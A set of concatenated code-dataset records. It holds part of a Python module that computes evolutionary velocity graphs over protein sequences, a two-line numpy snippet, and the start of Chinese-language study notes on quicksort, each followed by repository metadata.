-.1, one_alignment_only=True\n    )[0]\n\ndef likelihood_muts(\n        seq1, seq2, vocabulary, model,\n        seq_cache={}, verbose=False, natural_aas=None,\n):\n    a_seq1, a_seq2, _, _, _ = align_seqs(seq1, seq2)\n\n    # Map alignment to original indices.\n    del1, sub1, del2, sub2 = [], [], [], []\n    for a_seq, other_seq, deletions, substitutions in zip(\n            [ a_seq1, a_seq2, ], [ a_seq2, a_seq1, ],\n            [ del1, del2 ], [ sub1, sub2, ]\n    ):\n        orig_idx = 0\n        for a_idx, ch in enumerate(a_seq):\n            if ch == '-':\n                continue\n            if other_seq[a_idx] == '-':\n                deletions.append(orig_idx)\n            if natural_aas is not None and \\\n               (ch.upper() not in natural_aas or \\\n                other_seq[a_idx].upper() not in natural_aas):\n                continue\n            if other_seq[a_idx] != ch:\n                substitutions.append(orig_idx)\n            orig_idx += 1\n\n    return likelihood_compare(\n        seq1, seq2, vocabulary, model,\n        pos1=sub1, pos2=sub2, seq_cache=seq_cache, verbose=verbose,\n    )\n\ndef likelihood_blosum62(\n        seq1, seq2, vocabulary, model,\n        seq_cache={}, verbose=False, natural_aas=None,\n):\n    from Bio.SubsMat import MatrixInfo as matlist\n    matrix = matlist.blosum62\n\n    a_seq1, a_seq2, _, _, _ = align_seqs(seq1, seq2)\n\n    scores = []\n    for ch1, ch2 in zip(a_seq1, a_seq2):\n        if ch1 == ch2:\n            continue\n        if (ch1, ch2) in matrix:\n            scores.append(matrix[(ch1, ch2)])\n        elif (ch2, ch1) in matrix:\n            scores.append(matrix[(ch2, ch1)])\n\n    return np.mean(scores)\n\ndef vals_to_csr(vals, rows, cols, shape, split_negative=False):\n    graph = coo_matrix((vals, (rows, cols)), shape=shape)\n\n    if split_negative:\n        graph_neg = graph.copy()\n\n        graph.data = np.clip(graph.data, 0, 1)\n        graph_neg.data = np.clip(graph_neg.data, -1, 0)\n\n        graph.eliminate_zeros()\n        graph_neg.eliminate_zeros()\n\n        return graph.tocsr(), graph_neg.tocsr()\n\n    else:\n        return graph.tocsr()\n\nclass VelocityGraph:\n    def __init__(\n            self,\n            adata,\n            seqs,\n            score='lm',\n            vkey='velocity',\n            n_recurse_neighbors=None,\n            random_neighbors_at_max=None,\n            mode_neighbors='distances',\n            include_set='natural_aas',\n            verbose=False,\n    ):\n        self.adata = adata\n\n        self.seqs = seqs\n        self.seq_probs = {}\n\n        self.score = score\n\n        self.n_recurse_neighbors = n_recurse_neighbors\n        if self.n_recurse_neighbors is None:\n            if mode_neighbors == 'connectivities':\n                self.n_recurse_neighbors = 1\n            else:\n                self.n_recurse_neighbors = 2\n\n        if include_set == 'natural_aas':\n            self.include_set = set([\n                'A', 'R', 'N', 'D', 'C', 'Q', 'E', 'G', 'H', 'I',\n                'L', 'K', 'M', 'F', 'P', 'S', 'T', 'W', 'Y', 'V',\n            ])\n        else:\n            self.include_set = None\n\n        if np.min((get_neighs(adata, 'distances') > 0).sum(1).A1) == 0:\n            raise ValueError(\n                'Your neighbor graph seems to be corrupted. '\n                'Consider recomputing via scanpy.pp.neighbors.'\n            )\n        self.indices = get_indices(\n            dist=get_neighs(adata, 'distances'),\n            mode_neighbors=mode_neighbors,\n        )[0]\n\n        self.max_neighs = random_neighbors_at_max\n\n        gkey, gkey_ = f'{vkey}_graph', f'{vkey}_graph_neg'\n        self.graph = adata.uns[gkey] if gkey in adata.uns.keys() else []\n        self.graph_neg = adata.uns[gkey_] if gkey_ in adata.uns.keys() else []\n\n        self.self_prob = None\n\n        self.verbose = verbose\n\n\n    def compute_likelihoods(self, vocabulary, model):\n        if self.verbose:\n            iterator = tqdm(self.seqs)\n        else:\n            iterator = self.seqs\n\n        if self.score == 'blosum62':\n            return\n\n        for seq in iterator:\n            y_pred = predict_sequence_prob(\n                seq, vocabulary, model, verbose=self.verbose\n            )\n\n            if self.score == 'lm':\n                self.seq_probs[seq] = np.array([\n                    y_pred[i + 1, (\n                        vocabulary[seq[i]]\n                        if seq[i] in vocabulary else\n                        model.unk_idx_\n                    )] for i in range(len(seq))\n                ])\n            else:\n                raise ValueError('Invalid score {}'.format(self.score))\n\n\n    def compute_gradients(self, vocabulary, model):\n        n_obs = self.adata.X.shape[0]\n        vals, rows, cols, uncertainties = [], [], [], []\n\n        if self.verbose:\n            iterator = tqdm(range(n_obs))\n        else:\n            iterator = range(n_obs)\n\n        for i in iterator:\n            neighs_idx = get_iterative_indices(\n                self.indices, i, self.n_recurse_neighbors, self.max_neighs\n            )\n\n            if self.score == 'lm':\n                score_fn = likelihood_muts\n            elif self.score == 'blosum62':\n                score_fn = likelihood_blosum62\n            else:\n                raise ValueError('Invalid score {}'.format(self.score))\n\n            val = np.array([\n                score_fn(\n                    self.seqs[i], self.seqs[j],\n                    vocabulary, model,\n                    seq_cache=self.seq_probs, verbose=self.verbose,\n                    natural_aas=self.include_set,\n                ) for j in neighs_idx\n            ])\n\n            vals.extend(val)\n            rows.extend(np.ones(len(neighs_idx)) * i)\n            cols.extend(neighs_idx)\n\n        vals = np.hstack(vals)\n        vals[np.isnan(vals)] = 0\n\n        self.graph, self.graph_neg = vals_to_csr(\n            vals, rows, cols, shape=(n_obs, n_obs), split_negative=True\n        )\n\n        confidence = self.graph.max(1).A.flatten()\n        self.self_prob = np.clip(np.percentile(confidence, 98) - confidence, 0, 1)\n\ndef velocity_graph(\n        adata,\n        model_name='esm1b',\n        mkey='model',\n        score='lm',\n        seqs=None,\n        vkey='velocity',\n        n_recurse_neighbors=0,\n        random_neighbors_at_max=None,\n        mode_neighbors='distances',\n        include_set=None,\n        copy=False,\n        verbose=True,\n):\n    \"\"\"Computes velocity scores at each edge in the graph.\n\n    At each edge connecting two sequences :math:`(x^{(a)}, x^{(b)})`,\n    computes a score\n\n    .. math::\n        v_{ab} = \\\\frac{1}{|\\\\mathcal{M}|} \\\\sum_{i \\in \\\\mathcal{M}}\n        \\\\left[ \\\\log p\\\\left( x_i^{(b)} | x^{(a)} \\\\right) -\n        \\\\log p\\\\left( x_i^{(a)} | x^{(b)} \\\\right) \\\\right]\n\n    where :math:`\\\\mathcal{M} = \\\\left\\\\{ i : x_i^{(a)} \\\\neq x_i^{(b)} \\\\right\\\\}`\n    is the set of positions at which the amino acid residues disagree.\n\n    Arguments\n    ---------\n    adata: :class:`~anndata.Anndata`\n        Annoated data matrix.\n    model_name: `str` (default: `'esm1b'`)\n        Language model used to compute likelihoods.\n    mkey: `str` (default: `'model'`)\n        Name at which language model is stored.\n    score: `str` (default: `'lm'`)\n        Type of velocity score.\n    seqs: `list` (default: `'None'`)\n        List of sequences; defaults to those in `adata.obs['seq']`.\n    vkey: `str` (default: `'velocity'`)\n        Name of velocity estimates to be used.\n    n_recurse_neighbors: `int` (default: `0`)\n        Number of recursions for neighbors search.\n    random_neighbors_at_max: `int` or `None` (default: `None`)\n        If number of iterative neighbors for an individual node is higher than this\n        threshold, a random selection of such are chosen as reference neighbors.\n    mode_neighbors: `str` (default: `'distances'`)\n        Determines the type of KNN graph used. Options are 'distances' or\n        'connectivities'. The latter yields a symmetric graph.\n    include_set: `set` (default: `None`)\n        Set of characters to explicitly include.\n    verbose: `bool` (default: `True`)\n        Print logging output.\n    copy: `bool` (default: `False`)\n        Return a copy instead of writing to adata.\n\n    Returns\n    -------\n    Returns or updates `adata` with the attributes\n    model: `.uns`\n        language model\n    velocity_graph: `.uns`\n        sparse matrix with transition probabilities\n    \"\"\"\n\n    adata = adata.copy() if copy else adata\n    verify_neighbors(adata)\n\n    if seqs is None:\n        seqs = adata.obs['seq']\n    if adata.X.shape[0] != len(seqs):\n        raise ValueError('Number of sequences should correspond to '\n                         'number of observations.')\n\n    valid_scores = { 'lm', 'blosum62' }\n    if score not in valid_scores:\n        raise ValueError('Score must be one of {}'\n                         .format(', '.join(valid_scores)))\n\n    if mkey not in adata.uns or model_name != adata.uns[mkey].name_:\n        velocity_model(\n            adata,\n            model_name=model_name,\n            mkey=mkey,\n        )\n    model = adata.uns[mkey]\n    vocabulary = model.vocabulary_\n\n    vgraph = VelocityGraph(\n        adata,\n        seqs,\n        score=score,\n        vkey=vkey,\n        n_recurse_neighbors=n_recurse_neighbors,\n        random_neighbors_at_max=random_neighbors_at_max,\n        mode_neighbors=mode_neighbors,\n        include_set=include_set,\n        verbose=verbose,\n    )\n\n    if verbose:\n        logg.msg('Computing likelihoods...')\n    vgraph.compute_likelihoods(vocabulary, model)\n    if verbose:\n        print('')\n\n    if verbose:\n        logg.msg('Computing velocity graph...')\n    vgraph.compute_gradients(vocabulary, model)\n    if verbose:\n        print('')\n\n    adata.uns[f'{vkey}_graph'] = vgraph.graph\n    adata.uns[f'{vkey}_graph_neg'] = vgraph.graph_neg\n    adata.obs[f'{vkey}_self_transition'] = vgraph.self_prob\n\n    adata.layers[vkey] = np.zeros(adata.X.shape)\n\n    return adata if copy else None\n", "meta": {"hexsha": "b9ef20c519728ac3422d5847e2bb16fa6c6694ea", "size": 13700, "ext": "py", "lang": "Python", "max_stars_repo_path": "evolocity/tools/velocity_graph.py", "max_stars_repo_name": "samsledje/evolocity", "max_stars_repo_head_hexsha": "2b162ff61d4239ba5af06a601e5bb62f501d4a0f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-06-15T02:36:57.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-15T02:36:57.000Z", "max_issues_repo_path": "evolocity/tools/velocity_graph.py", "max_issues_repo_name": "samsledje/evolocity", "max_issues_repo_head_hexsha": "2b162ff61d4239ba5af06a601e5bb62f501d4a0f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "evolocity/tools/velocity_graph.py", "max_forks_repo_name": "samsledje/evolocity", "max_forks_repo_head_hexsha": "2b162ff61d4239ba5af06a601e5bb62f501d4a0f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 31.8604651163, "max_line_length": 83, "alphanum_fraction": 0.5764963504, "include": true, "reason": "import numpy,from scipy", "num_tokens": 3370, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5195213368305399, "lm_q2_score": 0.17328820806405804, "lm_q1q2_score": 0.09002692151040818}}
{"text": "import tensorflow as tf\nimport numpy as np\n\nprint np.log(-1)", "meta": {"hexsha": "550548b8c0aaaaa6a1117c344c1e4419ba034b62", "size": 60, "ext": "py", "lang": "Python", "max_stars_repo_path": "sss.py", "max_stars_repo_name": "zzxmllq/cnn_com", "max_stars_repo_head_hexsha": "ca24c57b9b0b5c8e6db8a96a23dc8f9710b985be", "max_stars_repo_licenses": ["CC-BY-4.0"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-01-19T21:13:36.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-09T11:20:30.000Z", "max_issues_repo_path": "sss.py", "max_issues_repo_name": "zzxmllq/cnncomplete_tf", "max_issues_repo_head_hexsha": "ca24c57b9b0b5c8e6db8a96a23dc8f9710b985be", "max_issues_repo_licenses": ["CC-BY-4.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-02-21T14:54:56.000Z", "max_issues_repo_issues_event_max_datetime": "2020-02-21T14:54:56.000Z", "max_forks_repo_path": "sss.py", "max_forks_repo_name": "zzxmllq/cnncomplete_tf", "max_forks_repo_head_hexsha": "ca24c57b9b0b5c8e6db8a96a23dc8f9710b985be", "max_forks_repo_licenses": ["CC-BY-4.0"], "max_forks_count": 3, "max_forks_repo_forks_event_min_datetime": "2019-08-07T17:20:24.000Z", "max_forks_repo_forks_event_max_datetime": "2020-01-25T17:45:51.000Z", "avg_line_length": 15.0, "max_line_length": 23, "alphanum_fraction": 0.7666666667, "include": true, "reason": "import numpy", "num_tokens": 16, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.546738151984614, "lm_q2_score": 0.1645164608483867, "lm_q1q2_score": 0.08994742577529603}}
{"text": "# python src/chapter7/chapter7note.py\n# python3 src/chapter7/chapter7note.py\n'''\nClass Chapter7_1\n\nClass Chapter7_2\n\nClass Chapter7_3\n\nClass Chapter7_4\n'''\n\nfrom __future__ import division, absolute_import, print_function\n\nimport sys as _sys\nimport math as _math\nimport random as _random\nimport time as _time\nfrom random import randint as _randint\nfrom copy import copy as _copy, deepcopy as _deepcopy\nfrom numpy import arange as _arange\n\nif __name__ == '__main__':\n    import quicksort\n    import stooge\nelse:\n    from . import quicksort\n    from . import stooge\n\nclass Chapter7_1:\n    def note(self):\n        '''\n        Summary\n        ====\n        Print chapter7.1 note\n\n        Example\n        ====\n        >>> Chapter7_1().note()\n        '''\n        print('chapter7.1 note as follow')\n        print('\u7b2c7\u7ae0 \u5feb\u901f\u6392\u5e8f')\n        print('\u5feb\u901f\u6392\u5e8f\u662f\u4e00\u79cd\u6392\u5e8f\u7b97\u6cd5\uff0c\u5bf9\u5305\u542bn\u4e2a\u6570\u7684\u8f93\u5165\u6570\u7ec4\u8fdb\u884c\u6392\u5e8f\uff0c\u6700\u574f\u60c5\u51b5\u7684\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398(n^2)')\n        print('\u867d\u7136\u8fd9\u4e2a\u6700\u574f\u60c5\u51b5\u8fd0\u884c\u65f6\u95f4\u6bd4\u8f83\u5dee\uff0c\u4f46\u662f\u5feb\u901f\u6392\u5e8f\u901a\u5e38\u662f\u7528\u4e8e\u6392\u5e8f\u6700\u4f73\u7684\u5b9e\u7528\u9009\u62e9\uff0c\u8fd9\u662f\u56e0\u4e3a\u5176\u5e73\u5747\u6027\u80fd\u76f8\u5f53\u597d')\n        print('\u5feb\u901f\u6392\u5e8f\u671f\u671b\u7684\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398(nlgn),\u4e14\u0398(nlgn)\u8bb0\u53f7\u4e2d\u9690\u542b\u7684\u5e38\u6570\u56e0\u5b50\u5f88\u5c0f')\n        print('\u5feb\u901f\u6392\u5e8f\u80fd\u591f\u8fdb\u884c\u5c31\u5730\u6392\u5e8f\uff0c\u5728\u865a\u5b58\u574f\u5883\u4e2d\u4e5f\u80fd\u5f88\u597d\u5730\u5de5\u4f5c')\n        print('7.1 \u5feb\u901f\u6392\u5e8f\u7684\u63cf\u8ff0')\n        print('\u50cf\u5408\u5e76\u6392\u5e8f\u4e00\u6837\uff0c\u5feb\u901f\u6392\u5e8f\u4e5f\u662f\u57fa\u4e8e\u5206\u6cbb\u6a21\u5f0f\u7684')\n        print(' 1.\u5206\u89e3:\u6570\u7ec4A[p..r]\u88ab\u5212\u5206\u6210\u4e24\u4e2a(\u53ef\u80fd\u4e3a\u7a7a\u7684)\u5b50\u6570\u7ec4A[p..q-1]\u548cA[q+1..r]')\n        print('  \u4f7f\u5f97A[p..q-1]\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u90fd\u5c0f\u4e8e\u7b49\u4e8eA(q),\u800c\u4e14\uff0c\u5c0f\u4e8e\u7b49\u4e8eA[q+1..r]')\n        print('  \u4e0b\u6807q\u4e5f\u5728\u8fd9\u4e2a\u5212\u5206\u8fc7\u7a0b\u4e2d\u8fdb\u884c\u8ba1\u7b97')\n        print(' 2.\u89e3\u51b3:\u901a\u8fc7\u9012\u5f52\u8c03\u7528\u5feb\u901f\u6392\u5e8f\uff0c\u5bf9\u5b50\u6570\u7ec4A[p..q-1]\u548cA[q+1..r]\u6392\u5e8f')\n        print(' 3.\u5408\u5e76:\u56e0\u4e3a\u8fd9\u4e24\u4e2a\u5b50\u6570\u7ec4\u662f\u5c31\u5730\u6392\u5e8f\u7684(\u4e0d\u5f00\u8f9f\u65b0\u7684\u6570\u7ec4),\u5c06\u4ed6\u4eec\u5408\u5e76\u4e0d\u9700\u8981\u4efb\u4f55\u64cd\u4f5c\uff0c\u6574\u4e2a\u6570\u7ec4A[p..r]\u5df2\u7ecf\u6392\u597d\u5e8f')\n        print('\u5b50\u6570\u7ec4\u5feb\u901f\u6392\u5e8f\u4f2a\u4ee3\u7801')\n        print('QUICKSORT(A,p,r)')\n        print(' 1. if q < r')\n        print(' 2.   q <- PARTITION(A,p,r)')\n        print(' 3.       QUICKSORT(A,p,q-1)')\n        print(' 3.       QUICKSORT(A,q+1,r)')\n        print('\u6392\u5e8f\u5b8c\u6574\u7684\u6570\u7ec4A\uff0c\u8c03\u7528QUICKSORT(A,0,len(A))\u5373\u53ef')\n        print('\u5feb\u901f\u6392\u5e8f\u7b97\u6cd5\u7684\u5173\u952e\u662fPARTITION\u8fc7\u7a0b\uff0c\u5b83\u5bf9\u5b50\u6570\u7ec4A[q..r]\u8fdb\u884c\u5c31\u5730\u91cd\u6392')\n        print('PARTITION(A,p,r)')\n        print(' 1. x <- A[r]')\n        print(' 2. i <- p-1')\n        print(' 3. for j <- p to r-1')\n        print(' 4.  if A[j] <= x')\n        print(' 5.      i <- i+1')\n        print(' 6.      exchange A[i] <-> A[j]')\n        print(' 7. exchange A[i+1] <-> A[r]')\n        print(' 8. return i + 1')\n        A = [8, 9, 6, 7, 4, 5, 2, 3, 1]\n        print('\u6570\u7ec4A', _deepcopy(A), '\u7684\u5feb\u901f\u6392\u5e8f\u8fc7\u7a0b\u4e3a:', \n            quicksort.quicksort(A))\n        A = [13, 19, 9, 5, 12, 8, 7, 4, 11, 2, 6, 21]\n        print('\u7ec3\u4e607.1-1 \u6570\u7ec4A', _deepcopy(A), \n            '\u7684\u4e00\u6b65partition\u8fc7\u7a0b\u5f97\u5230middle\u7d22\u5f15\u4e3a\uff1a', \n            quicksort.partition(A, 0, len(A) - 1))\n        A = [11, 11, 11, 11, 11]\n        print('\u7ec3\u4e607.1-2 \u6570\u7ec4A', _deepcopy(A), \n            '\u7684\u4e00\u6b65partition\u8fc7\u7a0b\u5f97\u5230middle\u7d22\u5f15\u4e3a\uff1a', \n            quicksort.partition(A, 0, len(A) - 1))\n        print('\u7ec3\u4e607.1-3 \u5c31\u4e00\u4e2a\u957f\u5ea6\u4e3an\u7684for\u5faa\u73af\uff0c\u4e14\u4e00\u5b9a\u4f1a\u6267\u884c\uff0c\u6240\u4ee5\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a\u0398(n)\uff0c\u7136\u540e\u7528\u786e\u754c\u7684\u5939\u903c\u5b9a\u4e49\u8bc1\u660e')\n        print('\u7ec3\u4e607.1-4 \u4e0d\u7b49\u53f7\u65b9\u5411\u6539\u53d8\u5373\u53ef')\n        # python src/chapter7/chapter7note.py\n        # python3 src/chapter7/chapter7note.py\n\nclass Chapter7_2:\n    def note(self):\n        '''\n        Summary\n        ====\n        Print chapter7.2 note\n\n        Example\n        ====\n        >>> Chapter7_2().note()\n        '''\n        print('chapter7.2 note as follow')\n        print('7.2 \u5feb\u901f\u6392\u5e8f\u7684\u6027\u80fd')\n        print('\u5feb\u901f\u6392\u5e8f\u7684\u8fd0\u884c\u65f6\u95f4\u4e0e\u5212\u5206\u662f\u5426\u5bf9\u79f0\u6709\u5173\uff0c\u800c\u540e\u8005\u7531\u4e0e\u9009\u62e9\u4e86\u54ea\u4e2a\u5143\u7d20\u6765\u8fdb\u884c\u5212\u5206\u6709\u5173')\n        print('\u5982\u679c\u5212\u5206\u662f\u5bf9\u79f0\u7684\uff0c\u90a3\u4e48\u5feb\u901f\u6392\u5e8f\u7b97\u6cd5\u4ece\u6e10\u8fdb\u4e0a\u4e0e\u5408\u5e76\u7b97\u6cd5\u4e00\u6837\u5feb\uff0c\u5426\u5219\u5c31\u548c\u63d2\u5165\u6392\u5e8f\u4e00\u6837\u6162')\n        print('\u5feb\u901f\u60c5\u51b5\u7684\u6700\u574f\u60c5\u51b5\u5212\u5206\u884c\u4e3a\u53d1\u751f\u5728\u5212\u5206\u8fc7\u7a0b\u4ea7\u751f\u7684\u4e24\u4e2a\u533a\u57df\u5206\u522b\u5305\u542bn-1\u4e2a\u5143\u7d20\u548c1\u4e2a0\u5143\u7d20\u7684\u65f6\u5019')\n        print('\u5047\u8bbe\u6bcf\u6b21\u5212\u5206\u90fd\u51fa\u73b0\u4e86\u8fd9\u79cd\u4e0d\u5bf9\u79f0\u5212\u5206\uff0c\u5212\u5206\u7684\u65f6\u95f4\u4ee3\u4ef7\u4e3a\u0398(n),\u6545\u7b97\u6cd5\u7684\u8fd0\u884c\u65f6\u95f4\u53ef\u4ee5\u9012\u5f52\u5730\u5199\u4e3a')\n        print('T(n)=T(n-1)+T(0)+\u0398(n),\u9012\u5f52\u5f0f\u7684\u89e3\u4e3aT(n)=\u0398(n^2)')\n        print('\u5feb\u901f\u6392\u5e8f\u7684\u6700\u574f\u60c5\u51b5\u5e76\u4e0d\u6bd4\u63d2\u5165\u6392\u5e8f\u7684\u6700\u574f\u60c5\u51b5\u66f4\u597d')\n        print('\u53e6\u5916\uff0c\u5f53\u4e00\u4e2a\u5df2\u7ecf\u6392\u5e8f\u597d\u65f6\uff0c\u5feb\u901f\u6392\u5e8f\u8fd0\u884c\u65f6\u95f4\u0398(n^2)\uff0c\u63d2\u5165\u6392\u5e8f\u8fd0\u884c\u65f6\u95f4\u0398(n)')\n        print('\u5feb\u901f\u6392\u5e8f\u6700\u4f73\u60c5\u51b5\u662f\u662f\u5176\u4e2d\u4e00\u4e2a\u5b57\u95ee\u9898\u7684\u5927\u5c0f\u4e3a[n/2],\u53e6\u4e00\u4e2a\u95ee\u9898\u7684\u5927\u5c0f\u4e3a[n/2]-1')\n        print('\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u5feb\u901f\u6392\u5e8f\u7684\u8fd0\u884c\u65f6\u95f4\u8981\u5feb\u7684\u591a\uff0cT(n)<=T(n/2)+\u0398(n)')\n        print('\u6839\u636e\u4e3b\u5b9a\u7406\uff0c\u4ee5\u4e0a\u9012\u5f52\u5f0f\u7684\u89e3\u4e3aO(nlgn)')\n        print('\u5e73\u8861\u7684\u5212\u5206')\n        print('\u5feb\u901f\u6392\u5e8f\u7684\u5e73\u5747\u8fd0\u884c\u65f6\u95f4\u4e0e\u5176\u6700\u4f73\u8fd0\u884c\u65f6\u95f4\u5f88\u63a5\u8fd1')\n        print('\u7ec3\u4e607.2-1 T(1)=T(0)+\u0398(n),T(2)=T(1)+\u0398(n),T(n)=T(n-1)+\u0398(n)')\n        print(' \u4ece\u7b2c\u4e00\u4e2a\u5f0f\u5b50\u52a0\u5230\u7b2cn\u4e2a\u5f0f\u5b50\uff0cT(n)=\u0398(n^2)')\n        print('\u7ec3\u4e607.2-2 \u6570\u7ec4A\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u90fd\u76f8\u540c\u65f6\uff0c\u4e5f\u5c5e\u4e8e\u5143\u7d20\u5df2\u7ecf\u6392\u5e8f\u597d\u7684\u60c5\u51b5\uff0c',\n            '\u6240\u4ee5\u8c03\u7528PARTITION\u5b50\u7a0b\u5e8f\u6bcf\u6b21\u90fd\u4f1a\u5f97\u5230\u6700\u5dee\u7684\u5206\u914d\uff0c\u6240\u4ee5\u6700\u574f\u60c5\u51b5\u8fd0\u884c\u65f6\u95f4\u4e3aT(n)=\u0398(n^2)')\n        print('\u7ec3\u4e607.2-3 \u6839\u636e\u4e66\u4e2d\u7684\u63cf\u5199\u964d\u5e8f\u6392\u5e8f\u597d\u7684\u5143\u7d20\uff0c\u4f1a\u5bfc\u81f4\u6bcf\u6b21\u5206\u914d\u90fd\u5f97\u5230\u6700\u5dee\u7684\u60c5\u51b5\uff0c\u53c8\u9012\u5f52\u5f0f\u548c\u4e3b\u5b9a\u7406\u5f97T(n)=\u0398(n^2)')\n        print('\u7ec3\u4e607.2-4 \u5bf9\u5df2\u7ecf\u6392\u5e8f\u597d\u7684\u652f\u7968\u5bf9\u4e8e\u5feb\u901f\u6392\u5e8f\u6765\u8bf4\u5c5e\u4e8e\u6700\u5dee\u60c5\u51b5\u8f93\u5165\uff0c\u8fd0\u884c\u65f6\u95f4\u4e3aO(n^2)')\n        print(' \u800c\u5bf9\u4e8e\u63d2\u5165\u6392\u5e8f\u6765\u8bf4\u5374\u662f\u6700\u4f18\u8f93\u5165\uff0c\u8fd0\u884c\u65f6\u95f4\u4e3aO(n)')\n        print('\u7ec3\u4e607.2-5 [\u6ed1\u7a3d]\u4f46\u662f\u5e73\u5747\u7684\u8fd0\u884c\u65f6\u95f4\u4ecd\u7136\u4e3aO(nlgn)')\n        print('\u7ec3\u4e607.2-6 \u7565')\n        # python src/chapter7/chapter7note.py\n        # python3 src/chapter7/chapter7note.py\n\nclass Chapter7_3:\n    '''\n    chapter7.3 content : note, function, etc..\n\n    See Also\n    ========\n    Chapter7_1 Chapter7_2 Chapter7_4\n    '''\n    def note(self):\n        '''\n        Summary\n        ====\n        Print chapter7.3 note\n\n        Example\n        ====\n        >>> Chapter7_3().note()\n        '''\n        print('chapter7.3 note as follow')\n        print('7.3 \u5feb\u901f\u6392\u5e8f\u7684\u968f\u673a\u5316\u7248\u672c')\n        print('\u5728\u63a2\u8ba8\u5feb\u901f\u6392\u5e8f\u7684\u5e73\u5747\u6027\u6001\u8fc7\u7a0b\u4e2d\uff0c\u5047\u5b9a\u8f93\u5165\u6570\u636e\u7684\u6240\u6709\u6392\u5217\u90fd\u662f\u7b49\u53ef\u80fd\u7684')\n        print('\u4f46\u5728\u5de5\u7a0b\u4e2d\uff0c\u8fd9\u4e2a\u5047\u8bbe\u5c31\u4e0d\u4f1a\u603b\u662f\u6210\u7acb')\n        print('\u867d\u7136\u7b2c\u4e94\u7ae0\u4ecb\u7ecd\u8fc7\u4e00\u4e9b\u968f\u673a\u7b97\u6cd5\uff0c\u4f46\u662f\u5982\u679c\u91c7\u7528\u4e00\u79cd\u4e0d\u540c\u7684\uff0c\u79f0\u4e3a\u968f\u673a\u53d6\u6837\u7684\u968f\u673a\u5316\u6280\u672f\u7684\u8bdd\uff0c\u53ef\u4ee5\u4f7f\u5206\u6790\u66f4\u52a0\u7b80\u5355')\n        print('\u5728\u8fd9\u79cd\u65b9\u6cd5\u4e2d\uff0c\u4e0d\u662f\u65f6\u949f\u91c7\u7528A[r]\u4f5c\u4e3a\u4e3b\u5143\uff0c\u800c\u662f\u4ece\u5b50\u6570\u7ec4A[p..r]\u4e2d\u968f\u673a\u9009\u62e9\u4e00\u4e2a\u5143\u7d20')\n        print('\u7136\u540e\u5c06\u8fd9\u4e2a\u968f\u673a\u5143\u7d20\u4e0eA[r]\u4ea4\u6362\u4f5c\u4e3a\u4e3b\u5143')\n        print('\u56e0\u4e3a\u4e3b\u5143\u5143\u7d20\u662f\u968f\u673a\u9009\u62e9\u7684\uff0c\u5728\u671f\u671b\u7684\u5e73\u5747\u60c5\u51b5\u4e0b\uff0c\u5bf9\u8f93\u5165\u6570\u7ec4\u7684\u5212\u5206\u6bd4\u8f83\u5bf9\u79f0')\n        A = [8, 7, 6, 5, 4, 3, 2, 1]    \n        print('\u6570\u7ec4[8, 7, 6, 5, 4, 3, 2, 1]\u7684\u968f\u673a\u5316\u5feb\u901f\u6392\u5e8f\uff1a', \n            quicksort.randomized_quicksort(A))\n        print('\u7ec3\u4e607.3-1:\u5927\u90e8\u5206\u65f6\u5019\u8f93\u5165\u7684\u5f85\u6392\u5e8f\u5e8f\u5217\u6211\u4eec\u662f\u4e0d\u77e5\u9053\u7684\uff0c\u800c\u5bf9\u4e8e\u5feb\u901f\u6392\u5e8f\u6765\u8bb2\uff0c\u4e00\u4e2a\u5e73\u5747\u7684\u8f93\u5165\u624d\u80fd\u53cd\u6620\u5176\u7b97\u6cd5\u6027\u80fd\uff0c\u6700\u574f\u60c5\u51b5\u51fa\u73b0\u7684\u6982\u7387\u6bd4\u8f83\u5c0f')\n        print('\u7ec3\u4e607.3-2:\u6700\u4f73\u60c5\u51b5\u8c03\u7528\u0398(n)\u6b21\uff0c\u6700\u574f\u60c5\u51b5\u8c03\u7528\u0398(n^2)\u6b21')\n        # python src/chapter7/chapter7note.py\n        # python3 src/chapter7/chapter7note.py\n\nclass Chapter7_4:\n    '''\n    chapter7.4 content : note, function, etc..\n\n    See Also\n    ========\n    Chapter7_1 Chapter7_2 Chapter7_3\n    '''\n    def note(self):\n        '''\n        Summary\n        ====\n        Print chapter7.4 note\n\n        Example\n        ====\n        ``Chapter7_4().note()``\n        '''\n        print('chapter7.4 note as follow')\n        print('7.4 \u5feb\u901f\u6392\u5e8f\u5206\u6790')\n        print('7.4.1 \u6700\u574f\u60c5\u51b5\u5206\u6790')\n        print('\u5982\u679c\u5feb\u901f\u6392\u5e8f\u4e2d\u6bcf\u4e00\u5c42\u9012\u5f52\u4e0a\u6240\u505a\u7684\u90fd\u662f\u6700\u574f\u60c5\u51b5\u5212\u5206\uff0c\u5219\u8fd0\u884c\u65f6\u95f4\u4e3a\u0398(n^2)')\n        print('7.4.2 \u671f\u671b\u7684\u8fd0\u884c\u65f6\u95f4')\n        print('RANDOMZIED-QUICKSORT\u7684\u5e73\u5747\u60c5\u51b5\u8fd0\u884c\u65f6\u95f4\u4e3aO(nlgn)')\n        print('\u8fd0\u884c\u65f6\u95f4\u548c\u6bd4\u8f83')\n        print('quicksort\u7684\u8fd0\u884c\u65f6\u95f4\u662f\u7531\u82b1\u5728\u8fc7\u7a0bPARTITION\u4e0a\u7684\u65f6\u95f4\u6240\u51b3\u5b9a\u7684\u3002')\n        